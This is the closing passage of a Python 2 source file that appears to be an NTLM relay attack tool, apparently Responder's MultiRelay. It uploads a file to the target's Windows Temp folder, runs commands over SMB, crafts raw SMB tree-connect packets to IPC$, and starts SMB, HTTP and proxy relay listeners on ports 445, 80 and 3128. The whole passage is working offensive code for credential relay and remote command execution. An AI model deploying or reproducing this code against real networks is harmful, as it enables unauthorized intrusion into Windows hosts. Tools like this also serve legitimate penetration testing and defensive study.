FileSize, FileContent = UploadContent(SysSVCFileName)
|
|
FileName = os.path.basename(SysSVCFileName)
|
|
RunPath = '%windir%\\Temp\\'+FileName
|
|
data = WriteFile(data, s, FileName, FileSize, FileContent, Target[0])
|
|
data = RunCmd(data, s, clientIP, Username, Domain, Cmd[0], Logs, Target[0], RunPath,FileName)
|
|
del Cmd[:]
|
|
else:
|
|
print SysSVCFileName+" does not exist, please specify a valid file."
|
|
del Cmd[:]
|
|
|
|
if data is None:
|
|
print "\033[1;31m\nSomething went wrong, the server dropped the connection.\nMake sure (\\Windows\\Temp\\) is clean on the server\033[0m\n"
|
|
|
|
if data[8:10] == "\x2d\x34":#We confirmed with OpenAndX that no file remains after the execution of the last command. We send a tree connect IPC and land at the begining of the command loop.
|
|
head = SMBHeader(cmd="\x75",flag1="\x18", flag2="\x07\xc8",mid="\x04\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
|
|
t = SMBTreeConnectData(Path="\\\\"+Target[0]+"\\IPC$")#
|
|
t.calculate()
|
|
packet1 = str(head)+str(t)
|
|
buffer1 = longueur(packet1)+packet1
|
|
s.send(buffer1)
|
|
data = s.recv(2048)
|
|
|
|
class ThreadingTCPServer(TCPServer):
|
|
def server_bind(self):
|
|
TCPServer.server_bind(self)
|
|
|
|
ThreadingTCPServer.allow_reuse_address = 1
|
|
ThreadingTCPServer.daemon_threads = True
|
|
|
|
def serve_thread_tcp(host, port, handler):
|
|
try:
|
|
server = ThreadingTCPServer((host, port), handler)
|
|
server.serve_forever()
|
|
except:
|
|
print color('Error starting TCP server on port '+str(port)+ ', check permissions or other servers running.', 1, 1)
|
|
|
|
def main():
|
|
try:
|
|
threads = []
|
|
threads.append(Thread(target=serve_thread_tcp, args=('', 445, SMBRelay,)))
|
|
threads.append(Thread(target=serve_thread_tcp, args=('', 3128, HTTPProxyRelay,)))
|
|
threads.append(Thread(target=serve_thread_tcp, args=('', 80, HTTPRelay,)))
|
|
if ExtraPort != 0:
|
|
threads.append(Thread(target=serve_thread_tcp, args=('', int(ExtraPort), HTTPProxyRelay,)))
|
|
for thread in threads:
|
|
thread.setDaemon(True)
|
|
thread.start()
|
|
|
|
while True:
|
|
time.sleep(1)
|
|
|
|
except (KeyboardInterrupt, SystemExit):
|
|
##If we reached here after a MultiRelay shell interaction, we need to reset the terminal to its default.
|
|
##This is a bug in python readline when dealing with raw_input()..
|
|
if ShellOpen:
|
|
os.system('stty sane')
|
|
##Then exit
|
|
sys.exit("\rExiting...")
|
|
|
|
if __name__ == '__main__':
|
|
main()
|